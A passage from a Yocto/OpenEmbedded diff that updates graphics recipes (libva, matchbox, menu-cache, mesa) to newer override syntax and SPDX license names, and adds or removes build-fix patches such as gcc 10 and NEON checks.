+ ${@bb.utils.filter('DISTRO_FEATURES', 'x11 wayland', d)} \
+"
+
+PACKAGES =+ "${PN}-x11 ${PN}-glx ${PN}-wayland"
+
+RDEPENDS:${PN}-x11 =+ "${PN}"
+RDEPENDS:${PN}-glx =+ "${PN}-x11"
+
+FILES:${PN}-x11 =+ "${libdir}/libva-x11*${SOLIBS}"
+FILES:${PN}-glx =+ "${libdir}/libva-glx*${SOLIBS}"
+FILES:${PN}-wayland =+ "${libdir}/libva-wayland*${SOLIBS}"
diff --git a/meta/recipes-graphics/libva/libva_2.5.0.bb b/meta/recipes-graphics/libva/libva_2.5.0.bb
deleted file mode 100644
index e75648b2be..0000000000
--- a/meta/recipes-graphics/libva/libva_2.5.0.bb
+++ /dev/null
@@ -1,46 +0,0 @@
-SUMMARY = "Video Acceleration (VA) API for Linux"
-DESCRIPTION = "Video Acceleration API (VA API) is a library (libVA) \
-and API specification which enables and provides access to graphics \
-hardware (GPU) acceleration for video processing on Linux and UNIX \
-based operating systems. Accelerated processing includes video \
-decoding, video encoding, subpicture blending and rendering. The \
-specification was originally designed by Intel for its GMA (Graphics \
-Media Accelerator) series of GPU hardware, the API is however not \
-limited to GPUs or Intel specific hardware, as other hardware and \
-manufacturers can also freely use this API for hardware accelerated \
-video decoding."
-
-HOMEPAGE = "https://01.org/linuxmedia/vaapi"
-BUGTRACKER = "https://github.com/intel/libva/issues"
-
-SECTION = "x11"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=2e48940f94acb0af582e5ef03537800f"
-
-SRC_URI = "https://github.com/intel/${BPN}/releases/download/${PV}/${BP}.tar.bz2"
-
-SRC_URI[md5sum] = "3688212fb7a87947070f3729e91ff7cf"
-SRC_URI[sha256sum] = "3aa89cd369a506ac4dbe5de7c0ef5da4f3d220bf986403f02fa1f6f702af6878"
-
-UPSTREAM_CHECK_URI = "https://github.com/intel/libva/releases"
-
-DEPENDS = "libdrm virtual/mesa"
-
-inherit autotools pkgconfig distro_features_check
-
-REQUIRED_DISTRO_FEATURES = "opengl"
-
-EXTRA_OECONF = "ac_cv_prog_WAYLAND_SCANNER=wayland-scanner"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
-PACKAGECONFIG[x11] = "--enable-x11,--disable-x11,virtual/libx11 libxext libxfixes"
-PACKAGECONFIG[wayland] = "--enable-wayland,--disable-wayland,wayland-native wayland"
-
-PACKAGES =+ "${PN}-x11 ${PN}-glx ${PN}-wayland"
-
-RDEPENDS_${PN}-x11 =+ "${PN}"
-RDEPENDS_${PN}-glx =+ "${PN}-x11"
-
-FILES_${PN}-x11 =+ "${libdir}/libva-x11*${SOLIBS}"
-FILES_${PN}-glx =+ "${libdir}/libva-glx*${SOLIBS}"
-FILES_${PN}-wayland =+ "${libdir}/libva-wayland*${SOLIBS}"
diff --git a/meta/recipes-graphics/matchbox-session/matchbox-session_0.1.bb b/meta/recipes-graphics/matchbox-session/matchbox-session_0.1.bb
index cbaf054365..1a16ed4374 100644
--- a/meta/recipes-graphics/matchbox-session/matchbox-session_0.1.bb
+++ b/meta/recipes-graphics/matchbox-session/matchbox-session_0.1.bb
@@ -1,12 +1,13 @@
SUMMARY = "Custom Matchbox session files"
+DESCRIPTION = "Very simple session manager for matchbox tools"
HOMEPAGE = "http://www.matchbox-project.org/"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://matchbox-session;endline=20;md5=180f1c169a15d059a56c30094f6fb5ea"
SECTION = "x11"
-RCONFLICTS_${PN} = "matchbox-common"
+RCONFLICTS:${PN} = "matchbox-common"
SRC_URI = "file://matchbox-session"
S = "${WORKDIR}"
@@ -15,7 +16,7 @@ PR = "r4"
inherit update-alternatives
-ALTERNATIVE_${PN} = "x-session-manager"
+ALTERNATIVE:${PN} = "x-session-manager"
ALTERNATIVE_TARGET[x-session-manager] = "${bindir}/matchbox-session"
ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-graphics/matchbox-wm/matchbox-wm/0001-Fix-build-with-gcc-10.patch b/meta/recipes-graphics/matchbox-wm/matchbox-wm/0001-Fix-build-with-gcc-10.patch
new file mode 100644
index 0000000000..541b5c9c84
--- /dev/null
+++ b/meta/recipes-graphics/matchbox-wm/matchbox-wm/0001-Fix-build-with-gcc-10.patch
@@ -0,0 +1,41 @@
+From 8a8f8446e803cad04d7bbceaab78ee45d9778c3c Mon Sep 17 00:00:00 2001
+From: Adrian Bunk <bunk@stusta.de>
+Date: Tue, 12 May 2020 09:44:05 +0300
+Subject: Fix build with gcc 10
+
+Upstream-Status: Pending
+Signed-off-by: Adrian Bunk <bunk@stusta.de>
+---
+ src/mbtheme.h | 2 +-
+ src/structs.h | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/mbtheme.h b/src/mbtheme.h
+index aa9a7c5..ad03bde 100644
+--- a/src/mbtheme.h
++++ b/src/mbtheme.h
+@@ -46,7 +46,7 @@ typedef struct _mb_theme_param
+
+ } MBThemeParam;
+
+-enum {
++typedef enum {
+ LAYER_GRADIENT_HORIZ = 1,
+ LAYER_GRADIENT_VERT,
+ LAYER_LABEL,
+diff --git a/src/structs.h b/src/structs.h
+index 24985e7..8f53e72 100644
+--- a/src/structs.h
++++ b/src/structs.h
+@@ -148,7 +148,7 @@
+
+ /* Atoms, if you change these check ewmh_init() first */
+
+-enum {
++typedef enum {
+ WM_STATE = 0,
+ WM_CHANGE_STATE,
+ WM_PROTOCOLS,
+--
+2.17.1
+
diff --git a/meta/recipes-graphics/matchbox-wm/matchbox-wm_1.2.2.bb b/meta/recipes-graphics/matchbox-wm/matchbox-wm_1.2.2.bb
index 815a75f36d..81704beac4 100644
--- a/meta/recipes-graphics/matchbox-wm/matchbox-wm_1.2.2.bb
+++ b/meta/recipes-graphics/matchbox-wm/matchbox-wm_1.2.2.bb
@@ -2,7 +2,7 @@ SUMMARY = "Matchbox lightweight window manager"
HOMEPAGE = "http://matchbox-project.org"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://src/wm.h;endline=21;md5=a7e844465edbcf79c282369f93caa835 \
file://src/main.c;endline=21;md5=3e5d9f832b527b0d72dbe8e3c4c60b95 \
file://src/wm.c;endline=21;md5=8dc9d24477d87ef5dfbc2e4927146aab"
@@ -12,16 +12,17 @@ DEPENDS = "libmatchbox virtual/libx11 libxext libxrender startup-notification ex
# SRCREV tagged 1.2.2
SRCREV = "27da947e7fbdf9659f7e5bd1e92af92af6c03970"
-SRC_URI = "git://git.yoctoproject.org/matchbox-window-manager \
+SRC_URI = "git://git.yoctoproject.org/matchbox-window-manager;branch=master \
+ file://0001-Fix-build-with-gcc-10.patch \
file://kbdconfig"
S = "${WORKDIR}/git"
-inherit autotools pkgconfig distro_features_check
+inherit autotools pkgconfig features_check
# depends on virtual/libx11
REQUIRED_DISTRO_FEATURES = "x11"
-FILES_${PN} = "${bindir}/* \
+FILES:${PN} = "${bindir}/* \
${datadir}/matchbox \
${sysconfdir}/matchbox \
${datadir}/themes/blondie/matchbox \
@@ -34,6 +35,6 @@ EXTRA_OECONF = " --enable-startup-notification \
--with-expat-lib=${STAGING_LIBDIR} \
--with-expat-includes=${STAGING_INCDIR}"
-do_install_prepend() {
+do_install:prepend() {
install ${WORKDIR}/kbdconfig ${S}/data/kbdconfig
}
diff --git a/meta/recipes-graphics/menu-cache/files/0001-Support-gcc10-compilation.patch b/meta/recipes-graphics/menu-cache/files/0001-Support-gcc10-compilation.patch
new file mode 100644
index 0000000000..aeae864cd4
--- /dev/null
+++ b/meta/recipes-graphics/menu-cache/files/0001-Support-gcc10-compilation.patch
@@ -0,0 +1,111 @@
+From 1ce739649b4d66339a03fc0ec9ee7a2f7c141780 Mon Sep 17 00:00:00 2001
+From: Mamoru TASAKA <mtasaka@fedoraproject.org>
+Date: Fri, 24 Jan 2020 13:33:00 +0900
+Subject: Support gcc10 compilation
+
+gcc10 now defaults to -fno-common, and with gcc10 menu-cache compilation fails like
+
+/bin/ld: menu-merge.o:menu-cache-gen/menu-tags.h:167: multiple definition of `DirDirs'; main.o:menu-cache-gen/menu-tags.h:167: first defined here
+/bin/ld: menu-merge.o:menu-cache-gen/menu-tags.h:164: multiple definition of `AppDirs'; main.o:menu-cache-gen/menu-tags.h:164: first defined here
+/bin/ld: menu-merge.o:menu-cache-gen/menu-tags.h:52: multiple definition of `menuTag_Layout'; main.o:menu-cache-gen/menu-tags.h:52: first defined here
+....
+
+This patch fixes compilation with gcc10: properly declaring variables in header with "extern", and also removing some unneeded variables in header files.
+
+Upstream-Status: Submitted [https://github.com/lxde/menu-cache/pull/19]
+Signed-off-by: Adrian Bunk <bunk@stusta.de>
+---
+ menu-cache-gen/menu-tags.h | 55 ++++++++++++--------------------------
+ 1 file changed, 17 insertions(+), 38 deletions(-)
+
+diff --git a/menu-cache-gen/menu-tags.h b/menu-cache-gen/menu-tags.h
+index f3fd7d3..f71c0bc 100644
+--- a/menu-cache-gen/menu-tags.h
++++ b/menu-cache-gen/menu-tags.h
+@@ -22,38 +22,17 @@
+ #include <libfm/fm-extra.h>
+ #include <menu-cache.h>
+
+-FmXmlFileTag menuTag_Menu;
+-FmXmlFileTag menuTag_AppDir;
+-FmXmlFileTag menuTag_DefaultAppDirs;
+-FmXmlFileTag menuTag_DirectoryDir;
+-FmXmlFileTag menuTag_DefaultDirectoryDirs;
+-FmXmlFileTag menuTag_Include;
+-FmXmlFileTag menuTag_Exclude;
+-FmXmlFileTag menuTag_Filename;
+-FmXmlFileTag menuTag_Or;
+-FmXmlFileTag menuTag_And;
+-FmXmlFileTag menuTag_Not;
+-FmXmlFileTag menuTag_Category;
+-FmXmlFileTag menuTag_MergeFile;
+-FmXmlFileTag menuTag_MergeDir;
+-FmXmlFileTag menuTag_DefaultMergeDirs;
+-FmXmlFileTag menuTag_Directory;
+-FmXmlFileTag menuTag_Name;
+-FmXmlFileTag menuTag_Deleted;
+-FmXmlFileTag menuTag_NotDeleted;
+-FmXmlFileTag menuTag_OnlyUnallocated;
+-FmXmlFileTag menuTag_NotOnlyUnallocated;
+-FmXmlFileTag menuTag_All;
+-FmXmlFileTag menuTag_LegacyDir;
+-FmXmlFileTag menuTag_KDELegacyDirs;
+-FmXmlFileTag menuTag_Move;
+-FmXmlFileTag menuTag_Old;
+-FmXmlFileTag menuTag_New;
+-FmXmlFileTag menuTag_Layout;
+-FmXmlFileTag menuTag_DefaultLayout;
+-FmXmlFileTag menuTag_Menuname;
+-FmXmlFileTag menuTag_Separator;
+-FmXmlFileTag menuTag_Merge;
++extern FmXmlFileTag menuTag_AppDir;
++extern FmXmlFileTag menuTag_DirectoryDir;
++extern FmXmlFileTag menuTag_Include;
++extern FmXmlFileTag menuTag_Exclude;
++extern FmXmlFileTag menuTag_Filename;
++extern FmXmlFileTag menuTag_Or;
++extern FmXmlFileTag menuTag_And;
++extern FmXmlFileTag menuTag_Not;
++extern FmXmlFileTag menuTag_Category;
++extern FmXmlFileTag menuTag_All;
++extern FmXmlFileTag menuTag_LegacyDir;
+
+ typedef enum {
+ MERGE_NONE, /* starting value */
+@@ -152,19 +131,19 @@ typedef struct {
+ } MenuRule;
+
+ /* requested language(s) */
+-char **languages;
++extern char **languages;
+
+ /* list of menu files to monitor */
+-GSList *MenuFiles;
++extern GSList *MenuFiles;
+
+ /* list of menu dirs to monitor */
+-GSList *MenuDirs;
++extern GSList *MenuDirs;
+
+ /* list of available app dirs */
+-GSList *AppDirs;
++extern GSList *AppDirs;
+
+ /* list of available dir dirs */
+-GSList *DirDirs;
++extern GSList *DirDirs;
+
+ /* parse and merge menu files */
+ MenuMenu *get_merged_menu(const char *file, FmXmlFile **xmlfile, GError **error);
+@@ -177,7 +156,7 @@ gboolean save_menu_cache(MenuMenu *layout, const char *menuname, const char *fil
+ void _free_layout_items(GList *data);
+
+ /* verbosity level */
+-gint verbose;
++extern gint verbose;
+
+ #define DBG if (verbose) g_debug
+ #define VDBG if (verbose > 1) g_debug
+--
+2.17.1
+
diff --git a/meta/recipes-graphics/menu-cache/menu-cache_1.1.0.bb b/meta/recipes-graphics/menu-cache/menu-cache_1.1.0.bb
index ddbbd94066..8875a939e0 100644
--- a/meta/recipes-graphics/menu-cache/menu-cache_1.1.0.bb
+++ b/meta/recipes-graphics/menu-cache/menu-cache_1.1.0.bb
@@ -2,13 +2,15 @@ SUMMARY = "Library for caching application menus"
DESCRIPTION = "A library creating and utilizing caches to speed up freedesktop.org application menus"
HOMEPAGE = "http://lxde.sourceforge.net/"
-LICENSE = "LGPLv2.1+"
+LICENSE = "LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=0964c689fcf4c21c6797ea87408416b6"
SECTION = "x11/libs"
DEPENDS = "glib-2.0 libfm-extra"
-SRC_URI = "${SOURCEFORGE_MIRROR}/lxde/menu-cache-${PV}.tar.xz"
+SRC_URI = "${SOURCEFORGE_MIRROR}/lxde/menu-cache-${PV}.tar.xz \
+ file://0001-Support-gcc10-compilation.patch \
+"
SRC_URI[md5sum] = "99999a0bca48b980105208760c8fd893"
SRC_URI[sha256sum] = "ed02eb459dcb398f69b9fa5bf4dd813020405afc84331115469cdf7be9273ec7"
diff --git a/meta/recipes-graphics/mesa/files/0001-futex.h-Define-__NR_futex-if-it-does-not-exist.patch b/meta/recipes-graphics/mesa/files/0001-futex.h-Define-__NR_futex-if-it-does-not-exist.patch
new file mode 100644
index 0000000000..3b0bfa323b
--- /dev/null
+++ b/meta/recipes-graphics/mesa/files/0001-futex.h-Define-__NR_futex-if-it-does-not-exist.patch
@@ -0,0 +1,34 @@
+From 253b042d2bf10e9abfa9cc508e0782aefd834145 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 16 Oct 2020 11:03:47 -0700
+Subject: [PATCH] futex.h: Define __NR_futex if it does not exist
+
+__NR_futex is not defines by newer architectures e.g. arc, riscv32 as
+they only have 64bit variant of time_t. Glibc defines SYS_futex interface based on
+__NR_futex, since this is used in applications, such applications start
+to fail to build for these newer architectures. This patch defines a
+fallback to alias __NR_futex to __NR_futex_tim64 so SYS_futex keeps
+working
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ src/util/futex.h | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/src/util/futex.h b/src/util/futex.h
+index 43097f4..941b0ec 100644
+--- a/src/util/futex.h
++++ b/src/util/futex.h
+@@ -34,6 +34,10 @@
+ #include <sys/syscall.h>
+ #include <sys/time.h>
+
++#if !defined(SYS_futex) && defined(SYS_futex_time64)
++# define SYS_futex SYS_futex_time64
++#endif
++
+ static inline long sys_futex(void *addr1, int op, int val1, const struct timespec *timeout, void *addr2, int val3)
+ {
+ return syscall(SYS_futex, addr1, op, val1, timeout, addr2, val3);
diff --git a/meta/recipes-graphics/mesa/files/0001-meson-misdetects-64bit-atomics-on-mips-clang.patch b/meta/recipes-graphics/mesa/files/0001-meson-misdetects-64bit-atomics-on-mips-clang.patch
new file mode 100644
index 0000000000..b08e4d86c2
--- /dev/null
+++ b/meta/recipes-graphics/mesa/files/0001-meson-misdetects-64bit-atomics-on-mips-clang.patch
@@ -0,0 +1,25 @@
+From d34bdbd80e5a1f309d2ba280cdc66ff0ee0e5c43 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 13 Jan 2020 15:23:47 -0800
+Subject: [PATCH] meson misdetects 64bit atomics on mips/clang
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ src/util/u_atomic.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/util/u_atomic.c b/src/util/u_atomic.c
+index 5a5eab4..e499516 100644
+--- a/src/util/u_atomic.c
++++ b/src/util/u_atomic.c
+@@ -21,7 +21,7 @@
+ * IN THE SOFTWARE.
+ */
+
+-#if defined(MISSING_64BIT_ATOMICS) && defined(HAVE_PTHREAD)
++#if !defined(__clang__) && defined(MISSING_64BIT_ATOMICS) && defined(HAVE_PTHREAD)
+
+ #include <stdint.h>
+ #include <pthread.h>
diff --git a/meta/recipes-graphics/mesa/files/0001-meson.build-check-for-all-linux-host_os-combinations.patch b/meta/recipes-graphics/mesa/files/0001-meson.build-check-for-all-linux-host_os-combinations.patch
index 9fba5da4b2..aea23d0ec2 100644
--- a/meta/recipes-graphics/mesa/files/0001-meson.build-check-for-all-linux-host_os-combinations.patch
+++ b/meta/recipes-graphics/mesa/files/0001-meson.build-check-for-all-linux-host_os-combinations.patch
@@ -1,8 +1,7 @@
-From ea966884e39aae9571c038fab55f3c1663d17850 Mon Sep 17 00:00:00 2001
-From: Fabio Berton <fabio.berton@ossystems.com.br>
-Date: Wed, 12 Jun 2019 13:40:20 -0300
+From f9c597a2c517eb85c23cbeeb2e95c55794c74cda Mon Sep 17 00:00:00 2001
+From: Alistair Francis <alistair@alistair23.me>
+Date: Thu, 14 Nov 2019 13:04:49 -0800
Subject: [PATCH] meson.build: check for all linux host_os combinations
-Organization: O.S. Systems Software LTDA.
Make sure that we are also looking for our host_os combinations like
linux-musl etc. when assuming support for DRM/KMS.
@@ -14,29 +13,31 @@ Upstream-Status: Pending
Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
Signed-off-by: Fabio Berton <fabio.berton@ossystems.com.br>
Signed-off-by: Otavio Salvador <otavio@ossystems.com.br>
+Signed-off-by: Alistair Francis <alistair@alistair23.me>
+
---
meson.build | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/meson.build b/meson.build
-index 567a81afd6f..b33b430aed4 100644
+index bca6b1f..70d06c0 100644
--- a/meson.build
+++ b/meson.build
-@@ -107,7 +107,7 @@ with_any_opengl = with_opengl or with_gles1 or with_gles2
+@@ -172,7 +172,7 @@ with_any_opengl = with_opengl or with_gles1 or with_gles2
# Only build shared_glapi if at least one OpenGL API is enabled
- with_shared_glapi = get_option('shared-glapi') and with_any_opengl
+ with_shared_glapi = with_shared_glapi and with_any_opengl
--system_has_kms_drm = ['openbsd', 'netbsd', 'freebsd', 'gnu/kfreebsd', 'dragonfly', 'linux'].contains(host_machine.system())
+-system_has_kms_drm = ['openbsd', 'netbsd', 'freebsd', 'gnu/kfreebsd', 'dragonfly', 'linux', 'sunos'].contains(host_machine.system())
+system_has_kms_drm = ['openbsd', 'netbsd', 'freebsd', 'dragonfly'].contains(host_machine.system()) or host_machine.system().startswith('linux')
dri_drivers = get_option('dri-drivers')
- if dri_drivers.contains('auto')
-@@ -845,7 +845,7 @@ if cc.compiles('int foo(void) __attribute__((__noreturn__));',
+ if dri_drivers.length() != 0
+@@ -1074,7 +1074,7 @@ if cc.compiles('__uint128_t foo(void) { return 0; }',
endif
# TODO: this is very incomplete
--if ['linux', 'cygwin', 'gnu', 'gnu/kfreebsd'].contains(host_machine.system())
-+if ['cygwin', 'gnu', 'gnu/kfreebsd'].contains(host_machine.system()) or host_machine.system().startswith('linux')
+-if ['linux', 'cygwin', 'gnu', 'freebsd', 'gnu/kfreebsd', 'haiku'].contains(host_machine.system())
++if ['linux', 'cygwin', 'gnu', 'freebsd', 'gnu/kfreebsd', 'haiku'].contains(host_machine.system()) or host_machine.system().startswith('linux')
pre_args += '-D_GNU_SOURCE'
- endif
-
+ elif host_machine.system() == 'sunos'
+ pre_args += '-D__EXTENSIONS__'
diff --git a/meta/recipes-graphics/mesa/files/0001-util-format-Check-for-NEON-before-using-it.patch b/meta/recipes-graphics/mesa/files/0001-util-format-Check-for-NEON-before-using-it.patch
new file mode 100644
index 0000000000..5c6165c281
--- /dev/null
+++ b/meta/recipes-graphics/mesa/files/0001-util-format-Check-for-NEON-before-using-it.patch
@@ -0,0 +1,47 @@
+From fdb2face4eeac3c20eedcca7520f4e7014225fb4 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 2 Dec 2021 19:57:42 -0800
+Subject: [PATCH] util/format: Check for NEON before using it
+
+This fixes build on rpi0-w and any other machine which does not have
+neon unit and is not used as FPU unit
+
+Fixes errors e.g.
+
+In file included from ../mesa-21.3.0/src/util/format/u_format_unpack_neon.c:35:
+/mnt/b/yoe/master/build/tmp/work/arm1176jzfshf-vfp-yoe-linux-gnueabi/mesa/2_21.3.0-r0/recipe-sysroot-native/usr/lib/clang/13.0.1/include/arm_neon.h:32:2: error: "NEON support not enabled"
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/14032]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ src/util/format/u_format.c | 2 +-
+ src/util/format/u_format_unpack_neon.c | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/util/format/u_format.c b/src/util/format/u_format.c
+index 36c5e52..f0a0097 100644
+--- a/src/util/format/u_format.c
++++ b/src/util/format/u_format.c
+@@ -1138,7 +1138,7 @@ static void
+ util_format_unpack_table_init(void)
+ {
+ for (enum pipe_format format = PIPE_FORMAT_NONE; format < PIPE_FORMAT_COUNT; format++) {
+-#if (defined(PIPE_ARCH_AARCH64) || defined(PIPE_ARCH_ARM)) && !defined(NO_FORMAT_ASM) && !defined(__SOFTFP__)
++#if (defined(PIPE_ARCH_AARCH64) || (defined(__ARM_NEON) && defined(PIPE_ARCH_ARM))) && !defined(NO_FORMAT_ASM)
+ const struct util_format_unpack_description *unpack = util_format_unpack_description_neon(format);
+ if (unpack) {
+ util_format_unpack_table[format] = unpack;
+diff --git a/src/util/format/u_format_unpack_neon.c b/src/util/format/u_format_unpack_neon.c
+index a4a5cb1..1e4f794 100644
+--- a/src/util/format/u_format_unpack_neon.c
++++ b/src/util/format/u_format_unpack_neon.c
+@@ -23,7 +23,7 @@
+
+ #include <u_format.h>
+
+-#if (defined(PIPE_ARCH_AARCH64) || defined(PIPE_ARCH_ARM)) && !defined(NO_FORMAT_ASM) && !defined(__SOFTFP__)
++#if (defined(PIPE_ARCH_AARCH64) || (defined(__ARM_NEON) && defined(PIPE_ARCH_ARM))) && !defined(NO_FORMAT_ASM)
+
+ /* armhf builds default to vfp, not neon, and refuses to compile neon intrinsics
+ * unless you tell it "no really".
diff --git a/meta/recipes-graphics/mesa/files/0002-meson.build-make-TLS-ELF-optional.patch b/meta/recipes-graphics/mesa/files/0002-meson.build-make-TLS-ELF-optional.patch
new file mode 100644
index 0000000000..af11baee86
--- /dev/null
+++ b/meta/recipes-graphics/mesa/files/0002-meson.build-make-TLS-ELF-optional.patch
@@ -0,0 +1,61 @@
+From bf41fa026ae3d378e62fd83d03a6f5933b52ca04 Mon Sep 17 00:00:00 2001
+From: Alistair Francis <alistair@alistair23.me>
+Date: Thu, 14 Nov 2019 13:08:31 -0800
+Subject: [PATCH] meson.build: make TLS ELF optional
+
+USE_ELF_TLS has replaced GLX_USE_TLS so this patch is the original "make
+TLS GLX optional again" patch updated to the latest mesa.
+
+For details, see:
+https://gitlab.freedesktop.org/mesa/mesa/-/issues/966
+
+This prevents runtime segfault on musl:
+
+Traceback (most recent call last):
+ File "/home/pokybuild/yocto-worker/musl-qemux86/build/meta/lib/oeqa/core/decorator/__init__.py", line 36, in wrapped_f
+ return func(*args, **kwargs)
+ File "/home/pokybuild/yocto-worker/musl-qemux86/build/meta/lib/oeqa/runtime/cases/parselogs.py", line 378, in test_parselogs
+ self.assertEqual(errcount, 0, msg=self.msg)
+AssertionError: 1 != 0 : Log: /home/pokybuild/yocto-worker/musl-qemux86/build/build/tmp/work/qemux86-poky-linux-musl/core-image-sato-sdk/1.0-r0/target_logs/Xorg.0.log
+
+Upstream-Status: Inappropriate [configuration]
+---
+ meson.build | 7 +++++--
+ meson_options.txt | 6 ++++++
+ 2 files changed, 11 insertions(+), 2 deletions(-)
+
+diff --git a/meson.build b/meson.build
+index 70d06c0..1441611 100644
+--- a/meson.build
++++ b/meson.build
+@@ -490,8 +490,11 @@ foreach platform : _platforms
+ pre_args += '-DHAVE_@0@_PLATFORM'.format(platform.to_upper())
+ endforeach
+
+-use_elf_tls = true
+-pre_args += '-DUSE_ELF_TLS'
++use_elf_tls = false
++if get_option('elf-tls')
++ use_elf_tls = true
++ pre_args += '-DUSE_ELF_TLS'
++endif
+
+ if with_platform_android and get_option('platform-sdk-version') >= 29
+ # By default the NDK compiler, at least, emits emutls references instead of
+diff --git a/meson_options.txt b/meson_options.txt
+index 1f6ef38..99cc5cb 100644
+--- a/meson_options.txt
++++ b/meson_options.txt
+@@ -440,6 +440,12 @@ option(
+ value : true,
+ description : 'Enable direct rendering in GLX and EGL for DRI',
+ )
++option(
++ 'elf-tls',
++ type : 'boolean',
++ value : true,
++ description : 'Enable TLS support in ELF',
++)
+ option('egl-lib-suffix',
+ type : 'string',
+ value : '',
diff --git a/meta/recipes-graphics/mesa/files/0002-meson.build-make-TLS-GLX-optional-again.patch b/meta/recipes-graphics/mesa/files/0002-meson.build-make-TLS-GLX-optional-again.patch
deleted file mode 100644
index 641bacf1d9..0000000000
--- a/meta/recipes-graphics/mesa/files/0002-meson.build-make-TLS-GLX-optional-again.patch
+++ /dev/null
@@ -1,52 +0,0 @@
-From cee8e48c5344124e5d84307cb0c48ee0c9b3e684 Mon Sep 17 00:00:00 2001
-From: Fabio Berton <fabio.berton@ossystems.com.br>
-Date: Wed, 12 Jun 2019 14:15:57 -0300
-Subject: [PATCH] meson.build: make TLS GLX optional again
-Organization: O.S. Systems Software LTDA.
-
-This was optional with autotools, and needs to be disabled
-when using musl C library, for instance.
-
-Upstream-Status: Pending
-
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-Signed-off-by: Fabio Berton <fabio.berton@ossystems.com.br>
-Signed-off-by: Otavio Salvador <otavio@ossystems.com.br>
----
- meson.build | 4 +++-
- meson_options.txt | 7 +++++++
- 2 files changed, 10 insertions(+), 1 deletion(-)
-
-diff --git a/meson.build b/meson.build
-index b33b430aed4..0e50bb26c0a 100644
---- a/meson.build
-+++ b/meson.build
-@@ -369,7 +369,9 @@ if with_egl and not (with_platform_drm or with_platform_surfaceless or with_plat
- endif
- endif
-
--pre_args += '-DGLX_USE_TLS'
-+if get_option('glx-tls')
-+ pre_args += '-DGLX_USE_TLS'
-+endif
- if with_glx != 'disabled'
- if not (with_platform_x11 and with_any_opengl)
- error('Cannot build GLX support without X11 platform support and at least one OpenGL API')
-diff --git a/meson_options.txt b/meson_options.txt
-index 1f72faabee8..fcd49efea27 100644
---- a/meson_options.txt
-+++ b/meson_options.txt
-@@ -339,6 +339,13 @@ option(
- value : true,
- description : 'Enable direct rendering in GLX and EGL for DRI',
- )
-+option(
-+ 'glx-tls',
-+ type : 'boolean',
-+ value : true,
-+ description : 'Enable TLS support in GLX',
-+)
-+
- option(
- 'I-love-half-baked-turnips',
- type : 'boolean',
diff --git a/meta/recipes-graphics/mesa/files/0003-Allow-enable-DRI-without-DRI-drivers.patch b/meta/recipes-graphics/mesa/files/0003-Allow-enable-DRI-without-DRI-drivers.patch
deleted file mode 100644
index 346b217585..0000000000
--- a/meta/recipes-graphics/mesa/files/0003-Allow-enable-DRI-without-DRI-drivers.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From f1482e88c2295b9c7288f5b273335a8e18039de8 Mon Sep 17 00:00:00 2001
-From: Fabio Berton <fabio.berton@ossystems.com.br>
-Date: Wed, 12 Jun 2019 14:18:31 -0300
-Subject: [PATCH] Allow enable DRI without DRI drivers
-Organization: O.S. Systems Software LTDA.
-
-Upstream-Status: Pending
-
-Signed-off-by: Andrei Gherzan <andrei@gherzan.ro>
-Signed-off-by: Fabio Berton <fabio.berton@ossystems.com.br>
-Signed-off-by: Otavio Salvador <otavio@ossystems.com.br>
----
- meson.build | 2 +-
- meson_options.txt | 6 ++++++
- 2 files changed, 7 insertions(+), 1 deletion(-)
-
-diff --git a/meson.build b/meson.build
-index 0e50bb26c0a..de065c290d6 100644
---- a/meson.build
-+++ b/meson.build
-@@ -137,7 +137,7 @@ with_dri_r200 = dri_drivers.contains('r200')
- with_dri_nouveau = dri_drivers.contains('nouveau')
- with_dri_swrast = dri_drivers.contains('swrast')
-
--with_dri = dri_drivers.length() != 0 and dri_drivers != ['']
-+with_dri = get_option('dri') or (dri_drivers.length() != 0 and dri_drivers != [''])
-
- gallium_drivers = get_option('gallium-drivers')
- if gallium_drivers.contains('auto')
-diff --git a/meson_options.txt b/meson_options.txt
-index fcd49efea27..0529200b3bb 100644
---- a/meson_options.txt
-+++ b/meson_options.txt
-@@ -34,6 +34,12 @@ option(
- choices : ['auto', 'true', 'false'],
- description : 'enable support for dri3'
- )
-+option(
-+ 'dri',
-+ type : 'boolean',
-+ value : false,
-+ description : 'enable support for dri'
-+)
- option(
- 'dri-drivers',
- type : 'array',
diff --git a/meta/recipes-graphics/mesa/libglu_9.0.1.bb b/meta/recipes-graphics/mesa/libglu_9.0.1.bb
deleted file mode 100644
index 068fb19e26..0000000000
--- a/meta/recipes-graphics/mesa/libglu_9.0.1.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "The OpenGL utility toolkit"
-DESCRIPTION = "GLU is a utility toolkit used with OpenGL implementations"
-
-HOMEPAGE = "http://mesa3d.org"
-BUGTRACKER = "https://bugs.freedesktop.org"
-SECTION = "x11"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://include/GL/glu.h;endline=29;md5=6b79c570f644363b356456e7d44471d9 \
